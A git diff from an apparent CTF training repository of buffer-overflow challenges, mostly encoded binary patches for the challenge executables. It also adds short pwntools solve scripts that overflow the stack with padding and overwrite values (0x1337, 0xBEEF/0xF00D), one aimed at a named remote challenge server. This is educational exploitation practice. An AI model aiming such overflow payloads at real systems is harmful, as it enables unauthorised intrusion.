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 literal 0 HcmV?d00001 diff --git a/BOF/04_lemonade_stand/solve.py b/BOF/04_lemonade_stand/solve.py new file mode 100644 index 0000000..d7cd67e --- /dev/null +++ b/BOF/04_lemonade_stand/solve.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +from pwn import * + +context.binary = elf = ELF("./lemonade_stand", checksec=False) + +# p = process(elf.path) +p = remote("offsec.m0lecon.it", 13562) +# Your exploit here +# mov eax, DWORD_PTR[rbp-0x4] overwrite eax value +OFFSET = 76 +leet = 0x1337 +payload = flat(b"A" * OFFSET, p64(leet)) +p.send(payload) +# p.send(b'cat flag\n') +# p.recv() +p.interactive() diff --git a/BOF/05_mini_game_arena/.gdb_history b/BOF/05_mini_game_arena/.gdb_history new file mode 100644 index 0000000..a9cdbf3 --- /dev/null +++ b/BOF/05_mini_game_arena/.gdb_history @@ -0,0 +1,3 @@ +r +:q +quit diff --git a/BOF/05_mini_game_arena/mini_game b/BOF/05_mini_game_arena/mini_game new file mode 100755 index 0000000000000000000000000000000000000000..2f051d32fa65e02e5330c0b914af5ad493109562 GIT binary patch literal 19312 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 +# mov eax,DWORD PTR [rbp-0x8] +# cmp eax,0xf00d +first = 0xBEEF +second = 0xF00D +payload = flat( + b"A" * OFFSET, + p32(second), + p32(first), +) +p.send(payload) +p.interactive()